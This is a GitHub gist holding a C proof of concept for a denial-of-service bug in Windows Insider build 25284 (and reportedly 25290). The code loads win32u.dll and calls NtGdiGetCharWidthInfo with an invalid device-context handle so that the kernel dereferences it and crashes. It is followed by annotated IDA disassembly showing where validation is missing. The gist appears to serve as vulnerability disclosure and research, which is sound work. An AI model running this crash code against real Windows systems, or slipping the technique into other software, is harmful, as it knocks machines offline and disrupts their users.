Last active
February 8, 2023 10:21
-
-
Save NSG650/9368d5b898be5fab2fbe39ffc2132d0a to your computer and use it in GitHub Desktop.
Denial of Service bug in Windows Insider build 25284.1000 NtGdiGetCharWidthInfo
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// This works on Windows 11 Build 25290.1010 as well | |
#include <stdio.h> | |
#include <windows.h> | |
// Ripped out from ReactOS | |
typedef struct _CHWIDTHINFO // Based on FD_DEVICEMETRICS | |
{ | |
LONG lMinA; | |
LONG lMinC; | |
LONG lMinD; | |
} CHWIDTHINFO, * PCHWIDTHINFO; | |
// ULONG as I was using tcc. | |
typedef ULONG(*NT_GDI_GET_CHAR_WIDTH_INFO)(HDC hdc, PCHWIDTHINFO widthInfo); | |
NT_GDI_GET_CHAR_WIDTH_INFO NtGdiGetCharWidthInfo; | |
int main(void) { | |
CHWIDTHINFO WidthInfo = {0}; | |
NtGdiGetCharWidthInfo = NULL; | |
HDC hdc = 0xFFFF; | |
LoadLibraryA("user32.dll"); | |
HMODULE HandleToWin32u = GetModuleHandleA("win32u.dll"); | |
if (!HandleToWin32u) { | |
printf("[!] Failed to get handle to win32u.dll\n"); | |
return -1; | |
} | |
NtGdiGetCharWidthInfo = GetProcAddress(HandleToWin32u, "NtGdiGetCharWidthInfo"); | |
if (!NtGdiGetCharWidthInfo) { | |
printf("[!] Failed to find NtGdiGetCharWidthInfo\n"); | |
return -1; | |
} | |
NtGdiGetCharWidthInfo(hdc, &WidthInfo); | |
printf("[!] Welp seems like they patched it\n"); | |
return 0; | |
} | |
/* | |
The crash is caused due to the hdc value not being validated | |
These disassemblies are from IDA. Added some data type structs to make it easy for me to rev. | |
__int64 __fastcall NtGdiGetCharWidthInfo(struct HOBJ__ *hdc, _CHWIDTHINFO *a2) | |
{ | |
__int64 v3; // rax | |
int v4; // r8d | |
int CharWidthInfo; // ebx | |
__int64 v7; // [rsp+20h] [rbp-68h] BYREF | |
int v8; // [rsp+28h] [rbp-60h] | |
__int64 v9[4]; // [rsp+30h] [rbp-58h] BYREF | |
char v10[48]; // [rsp+50h] [rbp-38h] BYREF | |
v7 = 0i64; | |
v8 = 0; | |
v3 = SGDGetSessionState(hdc); | |
EUDCCountRegion::EUDCCountRegion( | |
(EUDCCountRegion *)v10, | |
(struct Gre::Font::GLOBALS *)(*(_QWORD *)(v3 + 80) + 4864i64)); | |
UAPIDCOBJ::UAPIDCOBJ((UAPIDCOBJ *)v9, hdc); // Here the hdc value from user which is not verified is being casted to an internal datatype. | |
if ( v9[0] ) | |
CharWidthInfo = 0; | |
else | |
CharWidthInfo = GrepGetCharWidthInfo((struct UDCOBJ *)v9, &v7, v4); // The unvalidated hdc value is being passed on to the internal helper function. | |
if ( CharWidthInfo ) | |
return sub_1C017511C(); | |
UAPIDCOBJ::~UAPIDCOBJ((UAPIDCOBJ *)v9); | |
EUDCCountRegion::~EUDCCountRegion((EUDCCountRegion *)v10); | |
return 0i64; | |
} | |
__int64 __fastcall GrepGetCharWidthInfo(struct UDCOBJ *a1, _CHWIDTHINFO *a2, int a3) | |
{ | |
__int64 hdc; // rax | |
unsigned int v4; // edi | |
__int64 v7; // rbx | |
__int64 v8; // rcx | |
__int64 v9; // rcx | |
__int64 v11; // [rsp+60h] [rbp+30h] BYREF | |
int v12; // [rsp+70h] [rbp+40h] BYREF | |
int v13; // [rsp+78h] [rbp+48h] BYREF | |
int v14; // [rsp+7Ch] [rbp+4Ch] | |
v12 = a3; | |
hdc = *(_QWORD *)a1; | |
v4 = 0; | |
v13 = 17; | |
v14 = *(unsigned __int16 *)(hdc + 12); // The unvalidated hdc pointer is dereferenced causing the crash. | |
v11 = 0i64; | |
if ( RFONTOBJ::bInit((RFONTOBJ *)&v11, a1, 0, 2u, (const struct RFONTOBJ::Tag *)&v13) ) | |
GreAcquireSemaphore<14,RFONT *>(v11); | |
v7 = v11; | |
if ( v11 && *(_QWORD *)(*(_QWORD *)(v11 + 96) + 3064i64) ) | |
{ | |
if ( (*(_DWORD *)(*(_QWORD *)(*(_QWORD *)a1 + 976i64) + 340i64) & 0x802) == 2050 ) | |
{ | |
a2->lMinA = *(_DWORD *)(v11 + 696); | |
a2->lMinC = *(_DWORD *)(v7 + 700); | |
a2->lMinD = *(_DWORD *)(v7 + 704); | |
} | |
else | |
{ | |
v12 = 0; | |
bFToL(2050i64, &v12, 0i64); | |
a2->lMinA = v12; | |
v12 = 0; | |
bFToL(v8, &v12, 0i64); | |
a2->lMinC = v12; | |
v12 = 0; | |
bFToL(v9, &v12, 0i64); | |
a2->lMinD = v12; | |
} | |
v4 = 1; | |
} | |
RFONTOBJ::~RFONTOBJ((RFONTOBJ *)&v11); | |
return v4; | |
} | |
*/ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment